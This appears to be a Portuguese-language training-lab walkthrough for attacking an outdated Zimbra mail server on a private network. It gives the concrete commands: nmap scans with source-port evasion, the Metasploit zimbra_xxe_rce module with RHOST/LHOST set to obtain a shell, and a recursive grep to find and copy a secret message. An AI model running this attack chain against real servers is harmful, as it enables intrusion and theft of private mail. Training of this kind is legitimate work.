```
##########################################
#####      SA 03 - STEP BY STEP       #####
##########################################

[Appliances]
- Ubuntu 16.04 Zimbra 8.6 10.0.10.2
- Ubuntu 11.10 DNS 10.0.11.2
- Switch addr 10.0.1.254
- Firewall 10.0.0.2

[INFO]
-

[TARGET]
O servidor de e-mail apresenta vulnerabilidade
de XXE e SSRF, agravada por falhas na
configuração permitindo que um atacante
empreenda ataques visando a execução remota de
códigos.
O hacker utiliza um exploit para explorar as
vulnerabilidades e obter acesso à máquina.
Após obter o acesso, o atacante faz uma cópia
de uma  mensagem com conteúdo secreto que se
encontra na caixa de mensagens do funcionário.

[STEPS]

[1]
- Para escanear a rede e achar o ip 10.0.10.2
com portas SMTP, POP e IMAP abertas indicando
se tratar de um servidor de email
# nmap -sS --source-port 53 10.0.10.0/24

[2]
- Ver que o ip 10.0.10.2 roda um servidor de
e-mail zimbra, ao acessar o ip via web notar o
ano mostrado no rodapé indicando ser uma
```

instalação antiga
nmap -sS -A 10.0.10.2

[3]
- Ir até o site exploitdb e verificar a existência de exploits para zimbra

[4]
- Logar com a opção version "Advanced(ajax)" e testar a existência da vulnerabilidade XSS com as credenciais (teste1 123456) de acordo com o que foi encontrado no site exploitdb (data 10/08/2018)

[5]
- No site exploitdb, atentar para a existência de um exploit que faz parte da suite de teste de penetração Metasploit
- Abrir o msfconsole e buscar por exploit usando a palavra zimbra
msfconsole -q
msf> search zimbra

[6]
- utilizar o exploit zimbra_xxe_rce
use exploit/linux/http/zimbra_xxe_rce

[7]
- configurar os parâmetros LHOST RHOST e executar o exploit
set RHOST 10.0.10.2
set LHOST <ip do kali>
exploit

[8]
- ao receber o shell buscar na pasta de armazenamento de mensagens do zimbra, a

mensagem com conteúdo secreto
- dica: comando grep e egrep recursivo;
palavra chave: password)

[9]
- copiar o conteúdo da mensagem secreta com o cursor do mouse e salvar em um arquivo.

-EOF-